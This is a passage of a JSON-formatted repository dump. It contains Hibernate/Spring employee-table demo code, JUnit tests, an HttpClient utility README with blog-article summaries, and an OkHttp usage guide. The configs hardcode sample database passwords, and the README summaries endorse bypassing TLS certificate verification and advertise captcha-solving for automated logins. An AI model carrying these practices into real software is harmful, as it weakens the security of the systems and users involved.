    "content": "package com.jun.plugin.hibernate.service;\n\nimport java.util.List;\n\nimport com.jun.plugin.hibernate.modal.EmpEntity;\n\npublic interface IEmpService {\n\n    int count();\n\n    EmpEntity findByid(Short empno);\n\n    List<EmpEntity> findList(Integer pageNo, Integer pageSize);\n\n    int addEmp(EmpEntity e);\n\n    int updateEmp(EmpEntity e);\n\n    int removeEmp(Short empno);\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_hibernate/src/main/java/com/jun/plugin/hibernate/service/impl/EmpService.java",
    "content": "package com.jun.plugin.hibernate.service.impl;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\n\nimport com.jun.plugin.hibernate.dao.IEmpDao;\nimport com.jun.plugin.hibernate.modal.EmpEntity;\nimport com.jun.plugin.hibernate.service.IEmpService;\n\nimport java.util.List;\n\n@Service\npublic class EmpService  implements IEmpService {\n\n    @Autowired\n    private IEmpDao empDao;\n\n    @Override\n    public int count() {\n        return empDao.count();\n    }\n\n    @Override\n    public EmpEntity findByid(Short empno) {\n        return empDao.findByid(empno);\n    }\n\n    @Override\n    public List<EmpEntity> findList(Integer pageNo, Integer pageSize) {\n        return empDao.findList(pageNo,pageSize);\n    }\n\n    @Override\n    public int addEmp(EmpEntity e) {\n        return empDao.addEmp(e);\n    }\n\n    @Override\n    public int updateEmp(EmpEntity e) {\n        return empDao.updateEmp(e);\n    }\n\n    @Override\n    public int removeEmp(Short empno) {\n        return empDao.removeEmp(empno);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_hibernate/src/main/resources/hbm/DeptEntity.hbm.xml",
    "content": "<?xml version='1.0' encoding='utf-8'?>\n<!DOCTYPE hibernate-mapping PUBLIC\n    \"-//Hibernate/Hibernate Mapping DTD 3.0//EN\"\n    \"http://www.hibernate.org/dtd/hibernate-mapping-3.0.dtd\">\n<hibernate-mapping>\n\n    <class name=\"com.jun.plugin.hibernate.modal.DeptEntity\" table=\"DEPT\" schema=\"SCOTT\">\n        <id name=\"deptno\" type=\"java.lang.Byte\" column=\"DEPTNO\"/>\n        <property name=\"deptName\" type=\"java.lang.String\" column=\"DNAME\"/>\n        <property name=\"loc\" type=\"java.lang.String\" column=\"LOC\"/>\n    </class>\n</hibernate-mapping>"
  },
  {
    "path": "jun_java_plugins/jun_hibernate/src/main/resources/hbm/EmpEntity.hbm.xml",
    "content": "<?xml version='1.0' encoding='utf-8'?>\n<!DOCTYPE hibernate-mapping PUBLIC\n    \"-//Hibernate/Hibernate Mapping DTD 3.0//EN\"\n    \"http://www.hibernate.org/dtd/hibernate-mapping-3.0.dtd\">\n<hibernate-mapping>\n\n    <class name=\"com.jun.plugin.hibernate.modal.EmpEntity\" table=\"EMP\" schema=\"SCOTT\">\n        <id name=\"empno\" column=\"EMPNO\"/>\n        <property name=\"empName\" column=\"ENAME\"/>\n        <property name=\"job\" column=\"JOB\"/>\n        <property name=\"mgr\" column=\"MGR\"/>\n        <property name=\"hiredate\" column=\"HIREDATE\"/>\n        <property name=\"sal\" column=\"SAL\"/>\n        <property name=\"comm\" column=\"COMM\"/>\n    </class>\n</hibernate-mapping>"
  },
  {
    "path": "jun_java_plugins/jun_hibernate/src/main/resources/hibernate.cfg.xml",
    "content": "<?xml version='1.0' encoding='utf-8'?>\n<!DOCTYPE hibernate-configuration PUBLIC\n    \"-//Hibernate/Hibernate Configuration DTD//EN\"\n    \"http://www.hibernate.org/dtd/hibernate-configuration-3.0.dtd\">\n<hibernate-configuration>\n  <session-factory>\n    <property name=\"connection.url\">jdbc:oracle:thin:@localhost:1521:orcl</property>\n    <property name=\"connection.driver_class\">oracle.jdbc.OracleDriver</property>\n    <property name=\"connection.username\">scott</property>\n    <property name=\"connection.password\">orcl</property>\n<!--    <property name=\"connection.url\">jdbc:mysql://localhost:3306/demo?useUnicode=true&amp;characterEncoding=utf-8</property>-->\n<!--    <property name=\"connection.driver_class\">com.mysql.jdbc.Driver</property>-->\n<!--    <property name=\"connection.username\">root</property>-->\n<!--    <property name=\"connection.password\">1234</property>-->\n<!--    <property name=\"dialect\">org.hibernate.dialect.Oracle10gDialect</property>-->\n<!--    <property name=\"dialect\">org.hibernate.dialect.MySQL5Dialect</property>-->\n<!--    <property name=\"show_sql\">true</property>-->\n<!--    <property name=\"format_sql\">true</property>-->\n<!--    <property name=\"hibernate.hbm2ddl.auto\">update</property>-->\n    <mapping resource=\"hbm/DeptEntity.hbm.xml\"/>\n    <mapping resource=\"hbm/EmpEntity.hbm.xml\"/>\n\n\n    <!-- DB schema will be updated if needed -->\n    <!-- <property name=\"hibernate.hbm2ddl.auto\">update</property> -->\n  </session-factory>\n</hibernate-configuration>"
  },
  {
    "path": "jun_java_plugins/jun_hibernate/src/main/resources/spring-core.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\n       xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n       xmlns:context=\"http://www.springframework.org/schema/context\"\n       xmlns:tx=\"http://www.springframework.org/schema/tx\" xmlns:aop=\"http://www.springframework.org/schema/aop\"\n       xsi:schemaLocation=\"http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx.xsd http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop.xsd\">\n\n    <!-- datasource -->\n    <bean id=\"dataSource\" class=\"com.alibaba.druid.pool.DruidDataSource\">\n        <property name=\"url\" value=\"jdbc:oracle:thin:@localhost:1521:orcl\" />\n        <property name=\"driverClassName\" value=\"oracle.jdbc.OracleDriver\" />\n        <property name=\"username\" value=\"scott\" />\n        <property name=\"password\" value=\"\" />\n    </bean>\n    <!-- sessionFactory:LocalSessionFactoryBean -->\n    <bean id=\"sessionFactory\" class=\"org.springframework.orm.hibernate5.LocalSessionFactoryBean\">\n        <property name=\"dataSource\" ref=\"dataSource\" />\n        <!-- hbm映射文件 mapping关联 -->\n        <property name=\"mappingDirectoryLocations\" value=\"classpath:hbm\" />\n        <property name=\"hibernateProperties\">\n            <props>\n                <!--dialect-->\n                <prop key=\"hibernate.dialect\">org.hibernate.dialect.Oracle10gDialect</prop>\n                <!-- 优化配置 show_sql formal_sql ddl -->\n                <prop key=\"hibernate.show_sql\">true</prop>\n                <prop key=\"hibernate.format_sql\">true</prop>\n                <prop key=\"hibernate.hbm2ddl.auto\">update</prop>\n            </props>\n        </property>\n    </bean>\n\n    <!-- hibernate 工具类 -->\n    <bean id=\"hibernateTemplate\" class=\"org.springframework.orm.hibernate5.HibernateTemplate\">\n        <property name=\"sessionFactory\" ref=\"sessionFactory\" />\n    </bean>\n    <!-- dao -->\n    <context:component-scan base-package=\"com.jun.plugin.hibernate.dao\"/>\n    <!-- service -->\n    <context:component-scan base-package=\"com.jun.plugin.hibernate.service\"/>\n\n    <bean id=\"txManager\" class=\"org.springframework.orm.hibernate5.HibernateTransactionManager\">\n        <property name=\"sessionFactory\" ref=\"sessionFactory\"/>\n    </bean>\n\n    <tx:advice id=\"txAdvice\" transaction-manager=\"txManager\">\n        <tx:attributes>\n            <tx:method name=\"add*\" read-only=\"false\" propagation=\"REQUIRES_NEW\"/>\n            <tx:method name=\"update*\" read-only=\"false\" propagation=\"REQUIRES_NEW\"/>\n            <tx:method name=\"remove*\" read-only=\"false\" propagation=\"REQUIRES_NEW\"/>\n            <tx:method name=\"*\" read-only=\"true\"/>\n        </tx:attributes>\n    </tx:advice>\n    <aop:config>\n        <aop:pointcut id=\"pc\" expression=\"execution(* com.jun.plugin.hibernate.service.*.*(..))\"/>\n        <aop:advisor advice-ref=\"txAdvice\" pointcut-ref=\"pc\"/>\n    </aop:config>\n\n</beans>"
  },
  {
    "path": "jun_java_plugins/jun_hibernate/src/test/java/com/jun/plugin/hibernate/AppTest.java",
    "content": "package com.jun.plugin.hibernate;\n\nimport static org.junit.Assert.assertTrue;\n\nimport org.junit.Test;\n\n/**\n * Unit test for simple App.\n */\npublic class AppTest \n{\n    /**\n     * Rigorous Test :-)\n     */\n    @Test\n    public void shouldAnswerWithTrue()\n    {\n        assertTrue( true );\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_hibernate/src/test/java/com/jun/plugin/hibernate/test1.java",
    "content": "package com.jun.plugin.hibernate;\n\nimport org.hibernate.Session;\nimport org.hibernate.SessionFactory;\nimport org.hibernate.Transaction;\nimport org.hibernate.cfg.Configuration;\nimport org.hibernate.query.Query;\nimport org.junit.After;\nimport org.junit.Before;\nimport org.junit.Test;\n\nimport com.jun.plugin.hibernate.modal.EmpEntity;\n\nimport java.util.List;\n\npublic class test1 {\n\n\n    private Session ss;\n\n    @Before\n    public void beforeRun(){\n        // 加载配置 初始化框架\n        Configuration config = new Configuration().configure();\n        // 获取会话工厂\n        SessionFactory sf = config.buildSessionFactory();\n        // 获取Session\n        ss = sf.openSession();\n    }\n\n    @Test\n    public void fun1(){\n\n        EmpEntity e  =  ss.get(EmpEntity.class,new Short(\"7369\"));\n        System.out.println(e.getEmpName());\n\n    }\n\n    @Test\n    public void fun2(){\n        EmpEntity e = new EmpEntity();\n        e.setEmpName(\"员工A\");\n        e.setEmpno(new Short(\"8080\"));\n        Transaction tc = ss.beginTransaction();\n        ss.save(e);\n        tc.commit();\n    }\n\n    @Test\n    public void fun3(){\n        EmpEntity e = new EmpEntity();\n        e.setEmpName(\"员工B\");\n        e.setEmpno(new Short(\"8080\"));\n        Transaction tc = ss.beginTransaction();\n        try {\n            ss.update(e);\n            tc.commit();\n        } catch (Exception exception) {\n            exception.printStackTrace();\n            tc.rollback();\n        }\n    }\n\n    @Test\n    public void fun4(){\n        String hql = \"from EmpEntity\";\n        Query query = ss.createQuery(hql);\n        List<EmpEntity> empList = query.list();\n        for(EmpEntity e : empList){\n            System.out.println(e.getEmpName());\n        }\n    }\n\n    @After\n    public void afterRun(){\n        // 关闭Session\n        ss.close();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_hibernate/src/test/java/com/jun/plugin/hibernate/test2.java",
    "content": "package com.jun.plugin.hibernate;\n\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.test.context.ContextConfiguration;\nimport org.springframework.test.context.junit4.SpringJUnit4ClassRunner;\n\nimport com.jun.plugin.hibernate.modal.EmpEntity;\nimport com.jun.plugin.hibernate.service.IEmpService;\n\nimport java.util.List;\n\n@RunWith(SpringJUnit4ClassRunner.class)\n@ContextConfiguration(\"classpath:spring-core.xml\")\npublic class test2 {\n\n    @Autowired\n    private IEmpService empService;\n\n    @Test\n    public void fun1(){\n        Integer count = empService.count();\n        System.out.println(count);\n    }\n\n    @Test\n    public void fun2(){\n        List<EmpEntity> emps = empService.findList(2,5);\n        System.out.println(emps.size());\n    }\n\n\n    @Test\n    public void fun3(){\n        EmpEntity e = new EmpEntity();\n        e.setEmpName(\"员工BBB\");\n        e.setEmpno(new Short(\"8081\"));\n        empService.addEmp(e);\n    }\n\n    @Test\n    public void fun5(){\n        EmpEntity e = new EmpEntity();\n        e.setEmpno(new Short(\"8081\"));\n        e.setEmpName(\"admin123\");\n        empService.updateEmp(e);\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/README.md",
    "content": "# httpclientutil  \n\n该项目基于HttpClient-4.4.1封装的一个工具类，支持插件式配置Header、插件式配置httpclient对象，这样就可以方便地自定义header信息、配置ssl、配置proxy等。\n\n## Maven坐标：\n```\n<!-- https://mvnrepository.com/artifact/com.arronlong/httpclientutil -->\n<dependency>\n    <groupId>com.arronlong</groupId>\n    <artifactId>httpclientutil</artifactId>\n    <version>1.0.4</version>\n</dependency>\n```\n\n## 简单Demo\n在test包里还有各种测试[demo](http://mfxuan.free.800m.net/demo.png)，各测试类的源码在src/test/java/com/httpclient/test包路径下。\n```\npublic static void main(String[] args) throws HttpProcessException, FileNotFoundException {\n\tString url = \"https://github.com/Arronlong/httpclientutil\";\n\t\n\t//最简单的使用：\n\tString html = HttpClientUtil.get(HttpConfig.custom().url(url));\n\tSystem.out.println(html);\n\t\n\t//---------------------------------\n\t//\t\t\t【详细说明】\n\t//--------------------------------\n\t\n\t//插件式配置Header（各种header信息、自定义header）\n\tHeader[] headers = HttpHeader.custom()\n\t\t\t\t\t\t \t\t .userAgent(\"javacl\")\n\t\t\t\t\t\t\t\t .other(\"customer\", \"自定义\")\n\t\t\t\t\t\t\t\t .build();\n\t\n\t//插件式配置生成HttpClient时所需参数（超时、连接池、ssl、重试）\n\tHCB hcb = HCB.custom()\n\t\t\t\t .timeout(1000) //超时\n\t\t\t\t .pool(100, 10) //启用连接池，每个路由最大创建10个链接，总连接数限制为100个\n\t\t\t\t .sslpv(SSLProtocolVersion.TLSv1_2) \t//设置ssl版本号，默认SSLv3，也可以调用sslpv(\"TLSv1.2\")\n\t\t\t\t .ssl()  \t  \t//https，支持自定义ssl证书路径和密码，ssl(String keyStorePath, String keyStorepass)\n\t\t\t\t .retry(5)\t\t//重试5次\n\t\t\t\t ;\n\t\n\tHttpClient client = hcb.build();\n\t\n\tMap<String, Object> map = new HashMap<String, Object>();\n\tmap.put(\"key1\", \"value1\");\n\tmap.put(\"key2\", \"value2\");\n\t\n\t//插件式配置请求参数（网址、请求参数、编码、client）\n\tHttpConfig config = HttpConfig.custom()\n\t                              .headers(headers)\t//设置headers，不需要时则无需设置\n\t                              .url(url)\t          //设置请求的url\n\t                              .map(map)\t          //设置请求参数，没有则无需设置\n\t                              .encoding(\"utf-8\") //设置请求和返回编码，默认就是Charset.defaultCharset()\n\t                              .client(client)    //如果只是简单使用，无需设置，会自动获取默认的一个client对象\n\t                              //.inenc(\"utf-8\")  //设置请求编码，如果请求返回一直，不需要再单独设置\n\t                              //.inenc(\"utf-8\")\t//设置返回编码，如果请求返回一直，不需要再单独设置\n\t                              //.json(\"json字符串\")                          //json方式请求的话，就不用设置map方法，当然二者可以共用。\n\t                              //.context(HttpCookies.custom().getContext()) //设置cookie，用于完成携带cookie的操作\n\t                              //.out(new FileOutputStream(\"保存地址\"))       //下载的话，设置这个方法,否则不要设置\n\t                              //.files(new String[]{\"d:/1.txt\",\"d:/2.txt\"}) //上传的话，传递文件路径，一般还需map配置，设置服务器保存路径\n\t                              ;\n\t\n\t\n\t//使用方式：\n\tString result1 = HttpClientUtil.get(config);     //get请求\n\tString result2 = HttpClientUtil.post(config);    //post请求\n\tSystem.out.println(result1);\n\tSystem.out.println(result2);\n\t\n\t//HttpClientUtil.down(config);                   //下载，需要调用config.out(fileOutputStream对象)\n\t//HttpClientUtil.upload(config);                 //上传，需要调用config.files(文件路径数组)\n\t\n\t//如果指向看是否访问正常\n\t//String result3 = HttpClientUtil.head(config); // 返回Http协议号+状态码\n\t//int statusCode = HttpClientUtil.status(config);//返回状态码\n\t\n\t//[新增方法]sendAndGetResp，可以返回原生的HttpResponse对象，\n\t//同时返回常用的几类对象：result、header、StatusLine、StatusCode\n\tHttpResult respResult = HttpClientUtil.sendAndGetResp(config);\n\tSystem.out.println(\"返回结果：\\n\"+respResult.getResult());\n\tSystem.out.println(\"返回resp-header：\"+respResult.getRespHeaders());//可以遍历\n\tSystem.out.println(\"返回具体resp-header：\"+respResult.getHeaders(\"Date\"));\n\tSystem.out.println(\"返回StatusLine对象：\"+respResult.getStatusLine());\n\tSystem.out.println(\"返回StatusCode：\"+respResult.getStatusCode());\n\tSystem.out.println(\"返回HttpResponse对象）（可自行处理）：\"+respResult.getResp());\n}\n```\n\n![image](http://box.kancloud.cn/cover_2016-01-11_5693502e2de2_800x1068.jpg?imageMogr2/thumbnail/346x462!/interlace/1/quality/100)| 专栏创建者：[xiaoxian8023](http://blog.csdn.net/xiaoxian8023)<br/>创建时间：2015-11-16<br/>文章数：17篇<br/>[RSS订阅](http://blog.csdn.net/xiaoxian8023/rss/list)<br/> <br/>[轻松把玩HttpClient](http://blog.csdn.net/column/details/httpclient-arron.html)<br/>介绍如何使用HttpClient，通过一些简单示例，来帮助初学者快速入手。<br/>同时提供了一个非常强大的工具类，比现在网络上分享的都强大：<br/>支持插件式设置header、代理、ssl等配置信息，支持携带Cookie的操作，支持http的各种方法，支持上传、下载等功能。\n---|---\n\n\n---\n\n# 最新更新文章\n## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif \"专家\") [轻松把玩HttpClient之封装HttpClient工具类(九)，添加多文件上传功能](http://blog.csdn.net/xiaoxian8023/article/details/53065507)\n```\n在Git上有人给我提Issue，说怎么上传文件，其实我一开始就想上这个功能，不过这半年比较忙，所以一直耽搁了。\n这次正好没什么任务了，赶紧完成这个功能。毕竟作为一款工具类，有基本的请求和下载功能，就差上...\n```\n## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif \"专家\") [轻松把玩HttpClient之封装HttpClient工具类(八)，优化启用Http连接池策略](http://blog.csdn.net/xiaoxian8023/article/details/53064210)\n```\n写了HttpClient工具类后，有人一直在问我怎么启用http连接池，其实我没考虑过这个问题难过。\n不过闲暇的时候，突然间想起了这个问题，就想把这个问题搞一搞。\n```\n## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif \"专家\") [轻松把玩HttpClient之封装HttpClient工具类(七)，新增验证码识别功能](http://blog.csdn.net/xiaoxian8023/article/details/51606865)\n```\n这个HttpClientUtil工具类分享在GitHub上已经半年多的时间了，并且得到了不小的关注，有25颗star，被fork了38次。\n有了大家的鼓励，工具类一直也在完善中。最近比较忙，两个多月前的修改在今天刚修改测试完成，今天再次分享给大家。\n验证码识别这项技术并不是本工具类的功能，而是通过一个开源的api来识别验证码的。\n这里做了一个简单的封装，主要是用来解决登陆时的验证码的问题。...\n```\n## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif \"专家\") [轻松把玩HttpClient之封装HttpClient工具类(六)，封装输入参数，简化工具类](http://blog.csdn.net/xiaoxian8023/article/details/50768320)\n```\n在写这个工具类的时候发现传入的参数太多，以至于方法泛滥，只一个send方法就有30多个，\n所以对工具类进行了优化，把输入参数封装在一个对象里，这样以后再扩展输入参数，直接修改这个类就ok了。\n```\n## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif \"专家\") [轻松把玩HttpClient之封装HttpClient工具类(五)，携带Cookie的请求](http://blog.csdn.net/xiaoxian8023/article/details/50474987)\n```\n最近更新了一下HttpClientUtil工具类代码，主要是添加了一个参数HttpContext，这个是用来干嘛的呢？\n其实是用来保存和传递Cookie所需要的。因为我们有很多时候都需要登录，然后才能请求一些想要的数据。\n而在这以前使用HttpClientUtil工具类，还不能办到。现在更新了以后，终于可以了。\n先说一下思路：本次的demo，就是获取csdn中的c币，要想获取c币，必须先登...\n```\n## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif \"专家\") [轻松把玩HttpAsyncClient之模拟post请求示例](http://blog.csdn.net/xiaoxian8023/article/details/49949813)\n```\n如果看到过我前些天写过的《轻松把玩HttpClient之模拟post请求示例》这篇文章，你再看本文就是小菜一碟了，如果你顺便懂一些NIO，基本上是毫无压力了。\n因为HttpAsyncClient相对于HttpClient，就多了一个NIO，这也是为什么支持异步的原因。\n不过我有一个疑问，虽说NIO是同步非阻塞IO，但是HttpAsyncClient提供了回调的机制，\n这点儿跟netty很像，所以可以模拟...\n```\n## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif \"专家\") [轻松把玩HttpClient之封装HttpClient工具类(四)，单线程调用及多线程批量调用测试](http://blog.csdn.net/xiaoxian8023/article/details/49910885)\n```\n本文主要来分享一下该工具类的测试结果。工具类的整体源码不再单独分享，源码基本上都已经在文章中了。\n开始我们的测试。单线程调用测试：\n    public static void testOne() throws HttpProcessException{\n\t\t\n\t\tSystem.out.println(\"--------简单方式调用（默认post）--------\");\n\t\tString url = \"http://...\n```\n## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif \"专家\") [轻松把玩HttpClient之封装HttpClient工具类(三)，插件式配置Header](http://blog.csdn.net/xiaoxian8023/article/details/49910127)\n```\n上篇文章介绍了插件式配置HttpClient，本文将介绍插件式配置Header。为什么要配置header在前面已经提到了，还里再简单说一下，\n要使用HttpClient模拟请求，去访问各种接口或者网站资源，都有可能有各种限制，\n比如说java客户端模拟访问csdn博客，就必须设置User-Agent，否则就报错了。\n还有各种其他情况，必须的设置一些特定的Header，才能请求成功，或者才能不出问题。好了...\n```\n## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif \"专家\") [轻松把玩HttpClient之封装HttpClient工具类(二)，插件式配置HttpClient对象](http://blog.csdn.net/xiaoxian8023/article/details/49909359)\n```\n上一篇文章中，简单分享一下封装HttpClient工具类的思路及部分代码，本文将分享如何实现插件式配置HttpClient对象。\n如果你看过我前面的几篇关于HttpClient的文章或者官网示例，应该都知道HttpClient对象在创建时，都可以设置各种参数，\n但是却没有简单的进行封装，比如对我来说比较重要的3个：\n代理、ssl（包含绕过证书验证和自定义证书验证）、超时。还需要自己写。\n所以这里我就简单封...\n```\n## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif \"专家\") [轻松把玩HttpClient之封装HttpClient工具类(一)（现有网上分享中的最强大的工具类）](http://blog.csdn.net/xiaoxian8023/article/details/49883113)\n```\n搜了一下网络上别人封装的HttpClient，大部分特别简单，有一些看起来比较高级，但是用起来都不怎么好用。\n调用关系不清楚，结构有点混乱。所以也就萌生了自己封装HttpClient工具类的想法。\n要做就做最好的，本工具类支持插件式配置Header、插件式配置httpclient对象，\n这样就可以方便地自定义header信息、配置ssl、配置proxy等。是不是觉得说的有点悬乎了，那就先看看调用吧：...\n```\n## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif \"专家\") [轻松把玩HttpClient之设置代理，可以访问FaceBook](http://blog.csdn.net/xiaoxian8023/article/details/49867257)\n```\n前面的文章介绍了一些HttpClient的简单示例，本文继续采用示例的方式来演示HttpClient的功能。\n在项目中我们可能会遇到这样的情况：为了保证系统的安全性，只允许使用特定的代理才可以访问，\n而与这些系统使用HttpClient进行交互时，只能为其配置代理。\n这里我们使用gogent代理访问脸书来模拟这种情况。现在在浏览器上访问是可以访问的：...\n```\n## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif \"专家\") [轻松把玩HttpClient之配置ssl，采用设置信任自签名证书实现https](http://blog.csdn.net/xiaoxian8023/article/details/49866397)\n```\n在上篇文章《HttpClient配置ssl实现https简单示例——绕过证书验证》中简单分享了一下如何绕过证书验证。\n如果你想用httpclient访问一个网站，但是对方的证书没有通过ca认证或者其他问题导致证书不被信任，\n比如12306的证书就是这样的。所以对于这样的情况，你只能是选择绕过证书验证的方案了。\n但是，如果是自己用jdk或者其他工具生成的证书，还是希望用其他方式认证自签名的证书，这篇文...\n```\n## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif \"专家\") [轻松把玩HttpClient之配置ssl，采用绕过证书验证实现https](http://blog.csdn.net/xiaoxian8023/article/details/49865335)\n```\n上篇文章说道httpclient不能直接访问https的资源，这次就来模拟一下环境，然后配置https测试一下。\n在前面的文章中，分享了一篇自己生成并在tomcat中配置ssl的文章《Tomcat配置SSL》，大家可以据此来在本地配置https。\n我已经配置好了，效果是这样滴：\n可以看到已经信任该证书（显示浅绿色小锁），浏览器可以正常访问。现在我们用代码测试一下：\n```\n## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif \"专家\") [轻松把玩HttpClient之模拟post请求示例](http://blog.csdn.net/xiaoxian8023/article/details/49863967)\n```\nHttpClient 是 Apache Jakarta Common 下的子项目，可以用来提供高效的、最新的、功能丰富的支持 HTTP 协议的客户端编程工具包，并且它支持 HTTP 协议最新的版本和建议。\n许多需要后台模拟请求的系统或者框架都用的是httpclient。所以作为一个java开发人员，有必要学一学。\n本文提供了一个简单的demo，供初学者参考。\n```\n## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif \"专家\") [简单的利用UrlConnection，后台模拟http请求](http://blog.csdn.net/xiaoxian8023/article/details/49785417)\n```\n这两天在整理看httpclient，然后想自己用UrlConnection后台模拟实现Http请求，于是一个简单的小例子就新鲜出炉了（支持代理哦）：\n  public class SimpleHttpTest {\n\n\tpublic static String send(String urlStr, Map map,String encoding){\n\t\tString body=\"\";\n\t\tStrin...\n```\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/doc/OkHttp.md",
    "content": "# FastHttpClient\n封装OkHttp(jdk8以上)\n\n======\npowered by icecooly(icecooly.du@gmail.com).\n\nUsage\n==============\n1.synchronized get\n```java\nFastHttpClient.get().\n\t\turl(url).\n\t\taddParams(\"userName\", \"icecool\").\n\t\taddParams(\"password\", \"111111\").\n\t\tbuild().\n\t\texecute();\n```\n\t\t\n2.synchronized post\n```java\nFastHttpClient.post().\n\t\turl(url).\n\t\taddParams(\"userName\", \"icecool\").\n\t\taddParams(\"password\", \"111111\").\n\t\tbuild().\n\t\texecute();\n```\n\n3.asynchronized get\n```java\nFastHttpClient.get().\n\t\t\turl(url).\n\t\t\taddParams(\"userName\",\"icecool\").\n\t\t\taddParams(\"password\", \"111111\").\n\t\t\tbuild().\n\t\t\texecuteAsync(new Callback() {\n\t\t\t@Override\n\t\t\tpublic void onFailure(Call call, Exception e, int id) {\n\t\t\t\t//TODO\n\t\t\t}\n\n\t\t\t@Override\n\t\t\tpublic void onResponse(Call call,Response response, int id) {\n\t\t\t\ttry {\n\t\t\t\t\tSystem.out.println(response.body().string());\n\t\t\t\t} catch (IOException e) {\n\t\t\t\t}\n\t\t\t}\n\t\t});\n```\n\n4.asynchronized post\n```java\nFastHttpClient.post().\n\t\t\turl(url).\n\t\t\taddParams(\"userName\",\"icecool\").\n\t\t\taddParams(\"password\", \"111111\").\n\t\t\tbuild().\n\t\t\texecuteAsync(new Callback() {\n\t\t\t@Override\n\t\t\tpublic void onFailure(Call call, Exception e, int id) {\n\t\t\t\t//TODO\n\t\t\t}\n\n\t\t\t@Override\n\t\t\tpublic void onResponse(Call call,Response response, int id) {\n\t\t\t\ttry {\n\t\t\t\t\tSystem.out.println(response.body().string());\n\t\t\t\t} catch (IOException e) {\n\t\t\t\t}\n\t\t\t}\n\t\t});\n```\n\n5.download file aynsc\n```java\nFastHttpClient.get().\n\t\turl(\"http://e.hiphotos.baidu.com/image/pic/item/faedab64034f78f0b31a05a671310a55b3191c55.jpg\").\n\t\tbuild().addNetworkInterceptor(new DownloadFileInterceptor(){\n\t\t\t@Override\n\t\t\tpublic void updateProgress(long downloadLenth, long totalLength, boolean isFinish) {\n\t\t\t\tSystem.out.println(\"updateProgress downloadLenth:\"+downloadLenth+\n\t\t\t\t\t\t\",totalLength:\"+totalLength+\",isFinish:\"+isFinish);\n\t\t\t}\n\t\t}).\n\t\texecuteAsync(new DownloadFileCallback(\"/tmp/tmp.jpg\") {//save file to /tmp/tmp.jpg\n\t\t\t\t@Override\n\t\t\t\tpublic void onFailure(Call call, Exception e, int id) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t\t@Override\n\t\t\t\tpublic void onSuccess(Call call, File file, int id) {\n\t\t\t\t\tsuper.onSuccess(call, file, id);\n\t\t\t\t\tSystem.out.println(\"filePath:\"+file.getAbsolutePath());\n\t\t\t\t}\n\t\t\t\t@Override\n\t\t\t\tpublic void onSuccess(Call call, InputStream fileStream, int id) {\n\t\t\t\t\tSystem.out.println(\"onSuccessWithInputStream\");\n\t\t\t\t}\n\t\t});\nThread.sleep(50000);\n```\n\n6.upload file\n```java\nbyte[] imageContent=FileUtil.getBytes(\"/tmp/test.png\");\n\t\tresponse = FastHttpClient.post().\n\t\t\t\turl(url).\n\t\t\t\taddFile(\"file1\", \"a.txt\", \"123\").\n\t\t\t\taddFile(\"file2\", \"b.jpg\", imageContent).\n\t\t\t\tbuild().\n\t\t\t\tconnTimeOut(10000).\n\t\t\t\texecute();\nSystem.out.println(response.body().string());\n```\n\n7.https get\n```java\nResponse response = FastHttpClient.get().url(\"https://kyfw.12306.cn/otn/\").\n\t\t\t\tbuild()\n\t\t\t\t.execute();\nSystem.out.println(response.body().string());\n```\n\n8.https post\n```java\nResponse response = FastHttpClient.post().url(\"https://kyfw.12306.cn/otn/\").\n\t\t\t\tbuild()\n\t\t\t\t.execute();\nSystem.out.println(response.body().string());\n```\n\n9.make jar\nEclipse->Window->Show View->Ant\nbuild.xml taget ->make jar\nmake all jars into one jar(default release/fasthttpclient-1.0.jar)"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/pom.xml",
    "content": "<?xml version=\"1.0\"?>\n<project\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\"\n\txmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_httpclient</artifactId>\n\t<version>1.0</version>\n\t<packaging>war</packaging>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t</properties>\n\n\t<dependencies>\n\t\t<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-lang3 -->\n\t\t<dependency>\n\t\t\t<groupId>org.apache.commons</groupId>\n\t\t\t<artifactId>commons-lang3</artifactId>\n\t\t\t<version>3.8</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.apache.httpcomponents</groupId>\n\t\t\t<artifactId>httpasyncclient</artifactId>\n\t\t\t<version>4.1</version>\n\t\t</dependency>\n\t\t<!-- <dependency> 